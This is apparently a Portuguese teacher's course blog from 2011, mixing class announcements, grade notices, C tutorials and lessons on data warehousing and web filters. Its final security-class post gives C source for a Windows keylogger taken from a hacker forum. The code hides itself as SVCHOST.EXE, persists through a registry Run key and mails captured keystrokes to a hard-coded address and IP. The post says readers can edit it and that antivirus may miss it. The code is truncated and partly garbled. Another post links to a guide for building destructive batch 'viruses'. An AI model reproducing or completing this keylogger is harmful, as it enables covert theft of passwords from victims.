Usuários online

terça-feira, 27 de dezembro de 2011

QRCode das Postagens

Novidade: QRCode das Postagens

Agora cada postagem tem seu próprio QRCode. Basta procurar ao final de cada postagem o link QRCode desta postagem.

A novidade deve agradar aos possuidores de smartphones ou celulares com leitores de códigos de barra e QRCodes.

Agora ficou fácil guardar os links das postagens para acesso posterior. Basta acessar o link e apontar a câmera do smartphone e salvar o link para consulta posterior ou enviá-lo para os amigos.

Não perca tempo, experimente agora mesmo com o link abaixo. E não deixe de espalhar a boa nova para seus amigos do facebook, orkut, badoo, hi5, entre outras redes sociais.

quarta-feira, 21 de dezembro de 2011

Faces Live Wallpaper

Faces Live Wallpaper

Capturas de tela do aplicativo


Ulysses Ozório Santos (autor)

Um papel de parede animado para o seu Android feito por Ulysses Ozório Santos.

Pegue o aplicativo (4shared ou aqui) para seu Android e experimente-o. Deixe suas sugestões e perguntas com o autor.

quarta-feira, 14 de dezembro de 2011

Programação da solenidade de formatura dos cursos técnicos 2012

Programação da solenidade de formatura dos cursos técnicos 2012

Repasso na íntegra e-mail que recebi de Juliana Aparecida Figueiredo de Carvalho (juliana.figueiredo@ifsudestemg.edu.br) com informações importantes para os alunos formandos:


Prezados Professores e Coordenadores dos Cursos Técnicos,

Envio a programação da solenidade de formatura dos cursos técnicos.

Colação de Grau
Dia: 10 de fevereiro de 2012
Horário: 19 horas
Local: Quadra de Esportes 1 - campus Rio Pomba

Baile
Dia: 11 de fevereiro de 2012
Horário: 23 horas
Local: Quadra Esportiva do América Atlético Clube de Rio Pomba (Formigão)
(convite especial)

Caso os alunos formandos tenham algumas dúvidas, peço a gentileza de orientá-los sobre as questões abaixo:
 
- Cheguarem no dia da formatura com 2 horas de antecedência para que possam pegar a sua beca, que será entregue somente no dia e por turma, separadamente, assinar a nota promissória, tirar fotografias individualmente e com os colegas de turma e, por fim ensaiar a entrada, postura, juramento, entrega de homenagens, etc). Isso tudo demanda muito tempo. Por isso, precisamos que eles cheguem 2 horas antes do início da cerimônia.

- Em toda turma formanda que entro, eles sempre têm a mesma dúvida, que é com qual roupa e sapato eles devem vir.
Eu sempre oriento que venham o mais confortável possível, com uma roupa de tecido mais leve, pois a beca é muito quente. O visual nas fotos fica mais harmônico se for usado, homens (calça preta e sapato preto) e mulheres (roupa fresquinha e sapato fechado preto), mas eles têm liberdade em escolher o que querem usar. Apenas sugiro que evitem vir de rasteirinhas, pois o visual, nas fotografias não fica legal.
 
Vejam bem, isso não é regra e ninguém precisa comprar sapato e roupa pra virem à colação de grau. Podem vir com o que acharem conveniente. São apenas sugestões.
 
    Se o professor achar viável que eu compareça a alguma  turma específica para passar as orientações, favor avisar-me o local e o melhor horário para que eu possa ir. Farei de bom grado. Em algumas turmas já foi esse trabalho, porém não consegui atingir todas.

    Caso ainda hajam dúvidas, estou à disposição para esclarecê-las.
 
    Conto com a colaboração de todos e agradeço a atenção.
 

Att.

Boas férias a todos

Segurança da Informação - 1ºC - Notas Finais - 2011

Segurança da Informação - Notas Finais - 1ºC - 2011

Após correção do TVC e dos trabalhos recebidos, aqui está a nota final.



COMENTÁRIOS
O TVC correu como esperado, entretanto os trabalhos, após análise de plágio, constatou-se cópia não referenciada de conteúdo de terceiros de 69% a 100% em alguns trabalhos. Nada melhor que o Ctrl-C Ctrl-V para fazer um trabalho, nem mais prático, entretanto, nada menos pernicioso. Esta prática configura-se plágio, e não é isso que se espera de alunos que escreverão TCC's, artigos acadêmicos, programas de computador etc., tudo isso com seus devidos direitos autorais garantidos por lei. Obviamente que este não é um TCC, monografia, dissertação ou algo parecido, senão certamente eu subtrairia da nota o percentual de plágio detectado. Cada grupo de alunos recebeu um e-mail comentando os plágios e tiveram suas notas de trabalho diminuida, em parte devido ao plágio e em parte devido ao conteúdo ou 'certa' fuga do tema das perguntas.

Em suma, não copiem sem citação da fonte (inclusive, agora que os trabalhos foram entregues, a fonte do exercício do trabalho foi incluída na postagem - confira). Procurem sempre o professor, ainda mais que estou online quase todo o tempo que estou fora da instituição. Quando não estou online, respondo prontamente aos e-mails assim que os leio.


Boas férias a todos.

terça-feira, 13 de dezembro de 2011

Vaca Contemplativa em Terreno Baldio

Vaca Contemplativa em Terreno Baldio

Vaca Contemplativa em Terreno Baldio é um livro que minha irmã acaba de lançar. A reportagem de lançamento em Juiz de Fora - Minas Gerais está no caderno Dois do jornal Tribuna de Minas do dia 13/12/2011 (a reportagem completa você encontra em http://pagina29.blogspot.com/2011/12/travessia-dupla.html).

 Minha irmã está à esquerda

Para contato com minha irmã, a fim de adquirir o livro, visitem seu facebook clicando em https://www.facebook.com/anelisefreitas.

Eu não sei porque, mas o livro deve ser muito bom, pois o lançamento em Juiz de Fora ocorre após os lançamentos no Rio de Janeiro - RJ e Lima Duarte - MG. Pelas fotos que minha irmã tem postado no facebook me pareceu bastante concorrido.

Não perca tempo e confira as histórias que ela conta no livro. Adquira Já!

segunda-feira, 12 de dezembro de 2011

Matemática Computacional - 1ºC - Notas Finais - 2011

Matemática Computacional - Notas Finais - 1ºC - 2011

Após correção dos trabalhos recebidos, aqui está a nota final.



COMENTÁRIOS
No primeiro trabalho (30 pontos) foram entregues trabalhos completos e manuscritos. No segundo trabalho (60 pontos) muitos alunos demoraram a entregar os resultados, bem como as soluções dos problemas apresentados foram em parte, ajudadas por mim, daí a nota não ser total. A terceira nota (10 pontos) refere-se à participação em exercícios e problemas apresentados em sala de aula, e portanto, diretamente proporcional à presença.


Boas férias a todos.

domingo, 11 de dezembro de 2011

Nosso QR Code

Nosso QR Code


qrcode
http://flavioaf.blogspot.com, mais fácil impossível

Tem smartphone? Se tiver um leitor de QR Code pode acessar diretamente nosso blog capturando o QR Code abaixo com sua câmera.

sexta-feira, 9 de dezembro de 2011

Introdução a Algoritmos - 1ºE - 4º TVC (Teste de Verificação de Conhecimentos) - 09/12/2011 - 16 pontos

Olá alunos,

Está disponível o 4º TVC (Teste de Verificação de Conhecimentos) valendo 16 pontos, sendo este, nosso primeiro teste do 4º bimestre. A prova está disponível no link abaixo:

Baixe o 4º TVC aqui.

O arquivo é só para acompanhamento da prova. Dentro do arquivo está o link para o gabarito online que deve ser respondido e enviado até o final da prova.

Nosso horário, como sabem, é de 13h00 até 14h50, sendo que automaticamente não serão aceitas respostas enviadas após 14h45. Todos os alunos serão alertados verbalmente às 14h35 sobre esse fato, devendo então enviar suas respostas imediatamente.

segunda-feira, 5 de dezembro de 2011

Sistemas de Apoio à Decisão - Aula 05/12/2011 (Regras de Associação)

Regras de Associação





A extração de regras de associação vai muito mais além do que a simples associação entre produtos comprados por você. Saiba que muitas empresas vêm acumulando dados sobre todas as coisas que você faz, desde uso do cartão de débito, acessos à internet, cliques e movimentação do mouse sobre a tela etc.

Inclusive, empresas de cartão de crédito podem saber se você com grande probabilidade de acerto se você vai se separar daqui há dois anos.Regras de associação são muito importantes para estas empresas, já que elas podem perder grandes somas no caso de inadimplência, motivada pela falta de organização que uma separação pode causar.

Mas, o que são regras de associação
Baixe o arquivo e leia como são inferidas as regras de associação, base para o Data Mining.

Vamos dar uma olhada nos seguintes documentos:



Segurança da Informação - Aula 05/12/2011 (Filtros)

Filtros e Outros Programas Para Proteção de Navegação

A importância dos filtros na segurança da informação:



FILTROS PARA MENSAGENS INSTANTÂNEAS

Filtro de Instant Messenger
As ferramentas de Instant Messenger (IM) modificaram drasticamente a forma de comunicação entre as pessoas no mundo moderno. Porém, essa mesma facilidade pode representar um fator má utilização dos recursos da organização.

Ao mesmo tempo, impedir que os colaboradores não façam uso dessas ferramentas pode não ser interessante, pois esses sistemas de conversação são extremamente eficientes para realizar conferências rápidas, contactar fornecedores remotamente, ou mesmo para transferir um arquivo de um colaborador para outro.

Um filtro de IM pode operar com o aplicativo Microsoft Messenger™, e ser capaz de definir diversos tipos de controle sobre a forma como esse recurso é utilizado na rede. Assim, a empresa poderá estabelecer regras mais rígidas para o comunicação, estipulando limites que favoreçam um ganho na sua produtividade.


FILTROS PARA BLOGS E MICROBLOGS

Filtro Social - metaforicamente falando

Um forma de não ficar doido com a quantidade de informação que pode cair em nossas redes sociais é o filtro social, mais uma metáfora que um mecanismo real. Para o amplo uso do Twitter podemos usar o conceito de filtro social. O valor mais significativo que podemos receber da rede de microblogs são mensagens que apontem para mais de um recurso como blogs, infográficos, white papers, divulgação de eventos, e assim por diante. É possível que você possa perder um grande post de um blog – mas não é provável por causa do modo como funciona o filtro social. Suponha que você tenha interesses ecléticos, mas tenha cultivado um ecossistema de informações no Twitter que, quando algo bom acontece, vai vê-lo várias vezes no seu Twitter como num fluxo de pessoas retuitando ou comentando.

Isso também tem a vantagem adicional de separar as coisas realmente interessantes a partir do mais mundano: se você vê um post, geralmente tenta ter um tempo para lê-lo. Mas quando vê algo que foi retuitado, saberá que há algumas coisas boas lá. E quando você vê que este post incomodada à outros na blogosfera que lida com o gerenciamento de conteúdo nas empresas, sei que vai ser excepcional e com frequência, pare o que está fazendo para dar uma olhada.

A outra coisa é sempre tentar manter um olho nas suas mensagens diretas, que servem a exemplo do que acontece com os e-mails no ecossistema do Twitter. Assim, entre a sua filtragem e seus filtros sociais é altamente improvável que você perca alguma coisa de real impacto (mesmo porque seus interesses e fontes de informação não são mais de 100% que outra pessoa a qual siga, a probabilidade de ver algo que você não teria visto de outra forma é dramaticamente mais alta. Chame essa descoberta de casual e veja-a como um valor importante), quase todos os dias terá exemplos de pessoas as quais deveria seguir ou ler como resultado desta abordagem.


FILTROS PARA E-MAIL

Filtro de cabeçalhos
Os filtros permitem que determine ações para mensagens com características específicas, como exclusão automática, redirecionamentos conforme as palavras chaves especificadas.

Filtro de conteúdo
Os filtros permitem que determine ações para mensagens com características específicas, como exclusão automática, redirecionamentos conforme as palavras chaves especificadas para o corpo do email.


Filtros de spam, vírus, spyware, phishing etc.
Filtros podem ser usados para bloquear mensagens contendo spam, vírus, spyware, phishing e outras ameaças de e-mail antes que atinjam a sua rede. Assim, evita-se uma miríade de contratempos que possam ocorrer, tanto à sua empresa quanto aos funcionários que se utilizam da internet.

Filtros organizadores
Os filtros não servem somente para bloquear mensagens indesejadas, eles podem ser usados para organizar e hieraquizar suas mensagens também, veja o caso do GMail, aprenda a se organizar.




FILTROS PARA INTERNET


Proxy
Normalmente um computador se conecta direto com o servidor web. Quando vc digita http://financeaccess.blogspot.com o seu computador obtém o IP do servidor (através do DNS, que é outro servidor) e conecta direto, ponto a ponto.

Às vezes, não é interessante que essa conexão direta aconteça. A ideia aí é usar um computador intermediário que irá controlar/administrar as conexões com os servidores web. Isso pode ser útil quando uma rede local tem muitos computadores. Em vez de cada computador interno estabelecer a conexão direta, eles se conectam ao proxy, que é quem de fato faz a conexão.

Com o uso de um proxy o administrador da rede pode determinar quais sites podem ser acessados por quais computadores da rede interna. Pode também determinar a prioridade da conexão, a velocidade que cada computador da rede interna vai ter economizando banda de acesso a internet.

Um proxy também pode economizar acesso a internet fazendo o "cache". Assim, se um computador acessa um site, uma cópia desse site é baixada e guardada na memória do proxy. Se um outro computador acessa o mesmo site, o proxy entrega o site imediatamente, sem precisar baixar o site novamente. O usuário do segundo computador vai ter a impressão que o site baixou bem mais rápido e a internet sequer foi usada.

Quando o proxy estabelece a conexão com o servidor, o IP que aparece é o do proxy e não do computador que solicitou o acesso. O proxy (no caso squid) identifica quem está usando o site através dele, em outras palavras, por default ele repassa o IP interno para a internet.
No entanto, o proxy registra o IP de cada computador que utiliza seus serviços. Isso significa que embora o site destino não tenha condições de saber o IP do computador, o administrador do proxy tem. Igualzinho a um intermediário.

Essa técnica de proxy pode ser utilizada para contornar restrições que o administrador da rede criou. Como o acesso ao proxy é liberado, a partir do proxy vc pode acessar o que vc quiser. Uma rede bem administrada impedirá o acesso a proxies também.

Como é que o proxy funciona? Simples: ele recebe uma requisição de site de um computador cliente. O proxy anota o endereço do requisitante e tenta acessar o site que ele pediu. Quando o site responde, o proxy recebe o conteúdo, lembra-se para quem foi solicitado e retransmite para o requisitante. Esse processo pode gerar uma leve demora na velocidade mas normalmente esse demora é imperceptível na maioria das vezes.

Filtros diversos
 
Filtros baseados em listas de sites
Restringe o acesso a websites cadastrados previamente em listas de sites proibidos. Essas listas em geral são atualizadas periodicamente pelo fornecedor do software, que para preenche-las utiliza ferramentas de pesquisa, equipe de profissionais ou apoio de comunidades de pessoas, mas os pais também podem acrescentar outros sites na lista.

Filtros baseados em palavras proibidas
Esse tipo de ferramentas usa uma lista de palavras encontradas em websites impróprios, e que analisam o contexto em que as mesmas se encontram.

Filtros baseados em rótulos de classificação
Organizações (ou os próprios criadores de sites) podem classificar e rotular um site (web ratings systems) usando um sistema conhecido como "PICS" (Platform for Internet Content Selection). Versões mais recentes do Internet Explorer ou do Netscape já estão preparados para isso, mas essa tecnologia ainda é pouco utilizada.

Ferramentas para Bloqueio no Envio de dados
Neste caso, o programa impede a criança de enviar dados pessoais pela Internet como o nome, endereço e número do cartão de crédito.

Em geral também funcionam para correio eletrônico, instant message, fóruns e grupos de discussão. O programa controla o recebimento e envio de e-mails. Os pais podem determinar uma lista de destinatários ou de remetentes autorizados. Pode-se também controlar a participação da criança em salas de bate-papo (chats).

Browsers (navegadores) para crianças
Esses programas possuem quase as mesmas funcionalidades de um browser normal (Internet Explorer, Netscape, etc.) . Alguns auxiliam a criança a aprender usar a internet, e os direciona para centros educacionais ou entretenimento na web. Em geral eles já utilizam alguns dos mecanismos acima.

Mecanismos de busca (pesquisa) para crianças
Estas são ferramentas grátis existentes na Internet, chamadas de Mecanismos de Busca, que pais e crianças podem usar para procurar assuntos interessantes ou divertidos, com a segurança de saber que os resultados das pesquisas quase sempre serão apropriados para as famílias. Alguns desses mecanismos de busca confiam em esquemas de filtragem para tirar dos resultados o que for impróprio, enquanto outros têm listas pré-selecionadas de sites que podem ser usados para pesquisa.

Ferramentas de monitoração
Agem escondidas, registrando tudo que foi acessado na web (websites visitados, mensagens de correio recebidas ou enviadas, sessões de salas de bate-papo e até cópia das telas vistas). Algumas podem até registrar o que foi feito mesmo quando não conectado à Internet.

Quase todas estas ferramentas são projetadas para ser tão inclusivas quanto possíveis.

Depois, os pais podem verificar os registros. Porém, se instaladas secretamente, podem nutrir ressentimento em crianças mais velhas por se sentirem espionadas. Quaisquer destas ferramentas deveria ser usada cuidadosamente por pais.

Outras opções de segurança
Alguns dos programas oferece proteções adicionais como: bloqueio de publicidade, proteção contra vírus, impossibilidade de acessar alguns programas instalados no computador e impossibilidade de abrir ou gravar programas ou arquivos anexados em e-mails. Mas, em geral, contra vírus os programas antivírus de mercado são melhores e possuem um esquema de atualização mais eficiente.
Uma avaliação de softwares de filtro de conteúdo

Os softwares de segurança são criados por empresas especializadas, e alguns são gratuitos e outros são vendidos sob a forma de CD-ROM ou que podem ser copiados da Internet por meio de download.

A Pro Teste ( www.proteste.org.br) já havia testado 15 programas que impedem o acesso a sites não recomendáveis para crianças, e concluído que um dos mais eficientes é gratuito: o We-Blocker.

Foram avaliados os ítens de facilidade de atualização, facilidade de instalação, facilidade de uso, possibilidades de desativação e qualidade da filtragem.

Para avaliar a eficácia dos programas, cada filtro foi atividade e tentou-se navegar por sites (em diversas línguas) que contivessem: pornografia, violência, racismo, armas e explosivos, promoção de drogas, pirataria de programas etc.

No site da GetNetWise ( http://www.getnetwise.org), em inglês, é possível encontrar uma enorme lista desses produtos e suas características, separados por categoria, bem como estudos sobre os prós e os contras de cada categoria. Mas não é feito um ranking desses produtos. Encontramos produtos com mais recursos que o We-Blocker, mas praticamente todos precisam ser comprados.

A equipe do Portal da Família experimentou o We-Blocker, que é gratuito, e constatamos que ele é bem eficiente. Você acessa o site do We-Blocker, preenche uma ficha de cadastramento, faz download do programa de instalação e o executa. Pronto, o filtro está instalado. As instruções de utilização são bastante claras, mas estão em inglês (mas basta ir clicando nos botões de OK e de Next que dá certo).

Outros dois bons filtros de conteúdo nacionais, o NetFilter e o Web-FI, são compatíveis com Windows 98/Me/2000/XP e podem ser facilmente encontrados na internet.



Segurança da Informação - Aula 05/12/2011 (Trabalho em Grupo - 60,0 pontos)



Segurança da Informação - Trabalho em Grupo
Grupos de no máximo 6 pessoas.

Data de Entrega
12/12/2011

Formato
Documento do BrOffice ou Word, enviado por e-mail. Ao enviar o e-mail, coloque no assunto o nome completo dos integrantes do grupo.

Valor
60 pontos

Descrição

A empresa (fictícia, óbvio) de seguros de saúde BALANÇA MAS NÃO CAI atende a toda a região sudeste. Ela possui em Rio Pomba a sua sede, disposta em um prédio de 5 andares, 4 garagens de 3 e 2 vagas, e mais 1 escritório em outro prédio, posicionado a 1.500 metros da sede.

Além da sede em Rio Pomba, a empresa possui mais duas filiais posicionadas em Juiz de Fora e Barbacena e 3 escritórios de representação nas cidades de Tabuleiro, Tocantins e Ubá.

Hoje a empresa não possui nenhuma política de segurança na sede, suas filiais e escritórios.

Suponha que você trabalhe numa empresa chamada “HÁ HÁ TI Eng. Anônimos” que foi contratada para prover uma melhor segurança à rede de comunicação de dados da empresa de seguros de saúde BALANÇA MAS NÃO CAI.

Levando em consideração os aspectos de alta integridade, alta confidencialidade, alta autenticidade e alta disponibilidade, responda os seguintes itens:

  1. Faça um levantamento das necessidades de segurança da empresa. (valor 15)
  2. Identifique os riscos da empresa explicando o porquê de cada uma das ameaças identificadas. (valor 15)
  3. Identifique as vulnerabilidades e explique cada uma delas. (valor 15)
  4. Faça uma análise de probabilidade de ocorrer um ataque. (valor 15)
fonte: http://www.antigo.qi.com.br, com algumas modificações para adequação ao curso


Fonte para pesquisa
Tenho certeza que será de grande ajuda a leitura com profundidade deste documento.

Segurança da Informação - Excelente Blog

Blog de Segurança da Informação

O blog do Silas Martins contém informações que irão agradar aos alunos de Segurança da Informação. Aqueles que quiserem seguí-lo basta rolar esta página até o final e procurar por BLOGS QUE RECOMENDO.

No blog são destrinchados diversos e-mails de ameaças, como malwares, vírus, key-loggers, phishing, que são explicados, incluindo-se os códigos das ameaças. Bastante didádico.

sexta-feira, 2 de dezembro de 2011

Introdução a Algoritmos - 1ºE - 4º TVC (Teste de Verificação de Conhecimentos) - 09/12/2011 - 16 pontos

Horário
15h10

Local
Laboratório 1

Valor
16 pontos

Conteúdo

Estruturas de dados homogêneas:Vetores; Criação e manipulação de vetores; Ordenação e busca; Matrizes; Criação e manipulação de matrizes; Modularização e Estruturação: Modularização; Procedimentos: Argumentos e Passagem de parâmetros; Funções: Recursividade; Pilha; Fila; Lista; Ponteiro.




Naturalmente que todas as outras operações, estruturas e comandos da linguagem C poderão cair nesta prova, ainda que de maneira indireta.

Estudem. Boa Sorte.


Atenciosamente,

Tutorial Dev-C++ 017 - Ponteiros

Tutorial Dev-C++ 017 - Ponteiros


A compreensão e o uso correto de ponteiros sao críticos para criaçao de muitos programas de êxito na linguagem C. Há três motivos para isso. Primeiro, os ponteiros provêem o meio para que as funçoes possam modificar os seus argumentos de chamada. Segundo, eles sao usados para suportar rotinas de alocaçao dinâmica da linguagem C. Terceiro, podem ser substituídos pelas matrizes em muitas situaçoes - proporcionando aumento de eficiência. Além disso, muitas das características do C apóiam-se firmemente nos ponteiros, portanto, um completo entendimento de ponteiros é muito importante. Além de ser uma das características mais fortes da linguagem C, os ponteiros também sao muito perigosos. Por exemplo, quando nao-inicializados ou descuidados, eles podem causar o travamento do sistema. E pior: é fácil usar ponteiros incorretamente, o que causa "bugs" (erros) difíceis de serem encontrados.

Pegue agora o Tutorial Dev-C++ 017 - Ponteiros e começe a ler, pois ele é bem grande. Compile e estude o funcionamento dos exercícios resolvidos e tente resolver os exercícios propostos.

quinta-feira, 1 de dezembro de 2011

Tutorial Dev-C++ 016 - Retorno às Strings

Tutorial Dev-C++ 016 - Retorno às Strings

Um visão um pouco mais profunda no tratamento de strings. Diversas funções úteis para trabalhar com strings em C. Pegue logo o Tutorial 16, rode os exemplos, estude-os e tente fazer os exercícios propostos.

Introdução a Algoritmos - Aula 01/12/2011 (Revisitando o passado)

Revisitando o Passado

Nestas próximas aulas recobraremos o uso de pilhas, filas e listas. Depois entraremos em contato mais profundo com ponteiros.

PILHAS, FILAS E LISTAS
Para rever o uso de um destes importantes paradigmas de programação, clique em pilhas (Tutorial Dev-C++ 008), filas (Tutorial Dev-C++ 009) ou listas (Tutorial Dev-C++ 010).

É muito importante rever estes conceitos para as próximas aplicações que faremos. Mais que copiar e colar os códigos dos tutoriais no Dev-C++ e executá-los pura e simplesmente, é importante ler e entender os conceitos teóricos que embasam cada um dos paradigmas. É de suma importância também refazer os algoritmos dos dois primeiros bimestres, nos quais introduzimos o conceito destes paradigmas. Outrossim, a biblioteca conta com livros que podem lhe ajudar, seja com conteúdos teóricos, seja com novas aplicações destes conceitos. Enfatizamos também o uso do Google ou outra ferramenta de busca para conseguir maior aprofundamento na teoria.


PONTEIROS
Nos próximos tutoriais estaremos tratando especificamente desta importante técnica de programação. Já fizemos uso de ponteiros em nosso programa Analisador de Expressões. Nas próximas aulas faremos uso intenso de pilhas, filas, listas e ponteiros. Até lá.

quarta-feira, 30 de novembro de 2011

Sistemas de Apoio à Decisão - Aula 30/11/2011 (Data Mining, Data Warehouse e Arquitetura de um Data Warehouse)

Data Mining

Vide o link http://pt.wikipedia.org/wiki/Minera%C3%A7%C3%A3o_de_dados para uma introdução sobre Data Mining.



Data Warehouse
fonte: o texto e as imagens abaixo foi retirado de http://www.devmedia.com.br/post-12609-Data-Warehouse.html (se a DevMedia se sentir ofendida basta solicitar e o conteúdo será removido -- obrigado).

Introdução

O grande crescimento do ambiente de negócios, médias e grandes empresas armazenam também um alto volume de informações, onde que juntamente com a tecnologia da informação, a correta extração destas informações é um fator chave para se conseguir destaque no mercado cada vez mais competitivo. 

Este manancial de informação, quando aproveitado de forma eficaz, desempenha um papel fundamental no sucesso das organizações, afinal vivemos numa sociedade tecnológica onde a informação acumulada é muito valiosa, sendo assim a informação “tratamento de dados”, irá determinar a eficiência da empresa e quais as melhores decisões devem ser tomadas. 

Segundo Date (2004) “Data Warehouse (que no português significa, literalmente armazém de dados) é um deposito de dados orientado por assunto, integrado, não volátil, variável com o tempo, para apoiar as decisões gerenciais”.

Orientado por assunto

Refere-se aos sistemas transacionais organizados em uma determinada aplicação de uma empresa. A orientação por assunto é uma característica importante, pois toda a modelagem do DW é orientada a partir dos principais assuntos da empresa. Por exemplo uma empresa de arrecadação de impostos, onde os principais assuntos são os cadastros de contribuintes, impostos a recolher.

Integrado

Essa é a característica mais importante do DW, pois trata da integração, que é feita do ambiente operacional para as aplicações do DW. A integração é realizada visando padronizar os dados dos diversos sistemas em uma única representação, para serem transferidos para a base de dados única do DW.

Não volátil

Nos sistemas transacionais os dados sofrem diversas alterações como, por exemplo, a inclusão, alteração e exclusão de dados. No ambiente do Data Warehouse os dados, antes de serem carregados, são filtrados e limpos “gerando informação”. Após esta etapa esses dados sofrem somente operações de consulta e exclusão, sem que possam ser alterados, e esta característica representa a não-volatilidade.

Variável com o tempo

A variação em relação ao tempo consiste na manutenção de um histórico de dados em relação ao período de tempo maior que dos sistemas comuns, isto significa que as técnicas de mineração de dados não são aplicadas em tempo real, de forma a não comprometer o desempenho dos bancos transacionais OLTP. Ao analisarmos um dado de um DW, o mesmo sempre estará relacionado a um período determinado de tempo, pois terá uma chave de tempo que irá indicar o dia no qual esses dados foram extraídos.

O DW consiste a junção de diversas tecnologias que permitem fazer consulta no banco de dados, para posterior análise das informações. Devido ao ambiente projetado, o DW tem uma única fonte de dados, que facilita muito o trabalho do analista, porque os dados que lá existem estão tratados e não há redundância das informações.

Para maiores detalhes você pode acessar também o link http://www.coladaweb.com/informatica/data-warehouse.


Elementos básicos do DW Abaixo podemos visualizar os elementos básicos que compõem as arquiteturas de um Data Warehouse.

Figura 1 - Elementos DW

Fonte de dados
Sistemas transacionais da empresa, pode ser composto por diversas formas de dados.

Data Stage
Composta por uma área de armazenagem e um conjunto de processos. Sua função é extrair os dados dos sistemas transacionais, proceder a limpeza, a transformação, combinação, de duplicação e preparação dos dados para o uso no DW. Estes dados não são apresentados ao usuário final.

Servidor de apresentação
Ambiente onde os dados são organizados e armazenados para consulta direta pelos usuários finais. Normalmente os dados estão disponíveis nestes servidores em bancos de dados relacionais, mas também podem estar armazenados em tecnologia OLAP (OnLine Analytical Processing ) já que muitos data marts trabalham apenas com dados no modelo dimensional.

Data Mart
Subconjunto lógico do DW, geralmente divididos por departamento ou visões necessárias para os usuários.

Data Mining
Também conhecido como mineração de dados, o Data Mining trabalha em grandes massas de dados onde existem muitas correlações entre os dados que não são perceptíveis facilmente. Os Data Warehouses são constituídos, normalmente, de imensa quantidade de dados, há necessidade de uma ferramenta para varrer automaticamente o DW a fim de pesquisar tendências e padrões através de regras pré-definidas que dificilmente seriam encontrados em uma pesquisa comum.

Ferramentas de acesso aos dados
Maneira em que os dados são extraídos e integrados com cada processo distinto do DW. As funções para a transformação dos dados são:
  • Extração: retirada dos dados dos sistemas transacionais e armazenagem na área de data stage;
  • Carga de dimensões processadas: realimentação do processo para garantir a representação correta dos dados em novo formato.
  • Carga, Replicação e Recuperação: quando pronto, o dado é carregado no data mart correspondente e são criados (ou atualizados) índices para melhorar a performance das consulta.
  • Alimentação: apresenta as visões do data mart de acordo com as necessidades dos usuários.
  • Carga dos resultados dos modelos: serve para realimentar possíveis modificações no data mart, caso este não esteja adequado a aplicação que o utiliza.
Arquitetura do DW
Arquitetura do DW pode variar conforme o tipo de assunto abordado, isso ocorre devido as necessidades que variam de empresa para empresa.

Arquitetura Genérica
A arquitetura genérica compreende a camada dos dados operacionais que serão acessados pela camada de acesso a dados. As camadas de gerenciamento de processos, transporte e data warehouse são responsáveis por distribuir os dados e estão no centro da arquitetura. A camada de acesso à informação possibilita a extração das informações do DW utilizando um conjunto de ferramentas.

Figura 2 - Arquitetura genérica DW

Arquitetura de Duas Camadas
A arquitetura de duas camadas utiliza um servidor, juntamente com aplicações front end, que são ferramentas que realizam operações sobre os dados consultados e os transformam em informações úteis para os usuários, os componentes back end são ferramentas responsáveis pela extração, limpeza e cargas dos dados, mais conhecidas como ETL também são utilizadas neste tipo de arquitetura.

Figura 3 - Arquitetura duas camadas DW

Arquitetura de Três Camadas
A arquitetura de três camadas suporta vários usuários e serviços devido a sua flexibilidade, as informações ficam armazenadas em várias camadas. Na primeira camada estão as interfaces que trabalham com o usuário, onde geralmente são gráficas. Na segunda camada estão os servidores de banco de dados e aplicações e, por isso, têm a necessidade de ter um acesso eficiente e veloz aos dados compartilhados, e na última ficam armazenadas as fontes de dados. A arquitetura de três camadas é a mais utilizada pelos analistas.

Figura 4 - Arquitetura três camadas DW










Acesse Data Warehouse para maiores informações.


Conclusão
Vimos neste míni artigo um pouco sobre importância de um Data Warehouse para as empresas, suas definição, características, arquitetura e elementos básicos usados na sua construção.

segunda-feira, 28 de novembro de 2011

Segurança da Informação - Aula 28/11/2011 (Vírus em Batch)

Vírus em Batch

Há 3 tipos básicos (dentre outros) que são executáveis num computador: arquivos executáveis (extensão EXE), arquivos de comando (extensão COM) e arquivos em lote ou batch files (extensão BAT).

Arquivos em lote não são propriamente programas, mas podem executar diversos comandos em lote, daí seu nome. Podem ser usados para criarmos arquivos nocivos e que modifiquem, danifiquem ou torne instável ou inoperante o sistema operacional (Windows, a saber). Para ver como criar alguns "vírus" deste tipo acesse este link.

Segurança da Informação - Aula 28/11/2011 (Keyloggers)

Keyloggers

Keyloggers são programas residentes (ou seja, ficam em execução em segundo plano) e fazem captura de tudo o que o usuário digita, isto é, captura todo pressionamento de teclas do usuário, incluindo senhas. Alguns antivirus os detectam, mas existem técnicas para escondê-los, portanto uma pessoa mal intencionada pode lhe enviar um keylogger disfarçado e indetectável pelo seu antivirus atual.

Observação: 1) Prestem atencão nos comentários, para modificar os dados necessários;
2) O programa pode ser detectado por algum antivírus com boa verificação heurística.

Abaixo o código de um Keylogger em linguagem C fonte: http://forum.guiadohacker.com.br/showthread.php?t=6745

//Bibliotecas
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winreg.h>
#include <winsock.h>

#progama comment(lib, "winsock32.lib") //LIB do winsock

//Dados para envio do email
#define de "lol@lol.com.br"
#define para "oliveiracarlo@bol.com.br"
#define assunto "LOG"
#define FORMMAIL.php" //Troque pelos dados corretos.
#define ip "200.201.8.45" //IP do servidor

//Variáveis
int c,n,s,num,num2,caps,envia_tam=50,strtam; //envia_tam = número mínimo de caracteres digitados para enviar email
void logar_normal(),logar_caps(),logar_shift(); //Funções
char teclas[99999],teclas_aux[99999],enviar[99999],caminho_copia[255];

HWND janela;
HKEY chave;

WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;

//Fim da declaração de variáveis
int main(int argc,char *argumento[0]){ //Função principal, usaremos "argumento[0]" para capturar-mos o nome do arquivo do keylogger e o diretório onde este arquivo se encontra.

//Muda o título da janela e a oculta.
SetConsoleTitle("SVCHOST.EXE");
janela = FindWindow(NULL,"SVCHOST.EXE");
ShowWindow(janela,SW_HIDE);

sprintf(caminho_copia,"%s",argumento[0]); //Faz uma cópia do caminho do keylogger.

//Inicializa o WINSOCK, e caso ocorra algum erro, encerra o keylogger.
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR)
exit(0);

if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET _ERROR)
exit(0); //Encerra o programa se a tentativa de criar um socket não teve sucesso.

//Cria uma entrada no registro, para que o keylogger inicie junto com o sistema operacional.
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft \\Windows\\CurrentVersion\\Run",&chave);
RegSetValueEx(chave,"SVCHOST.EXE",0,1,(LPBYTE)"C:\ \WINDOWS\\SVCHOST.EXE",22);
RegCloseKey(chave);

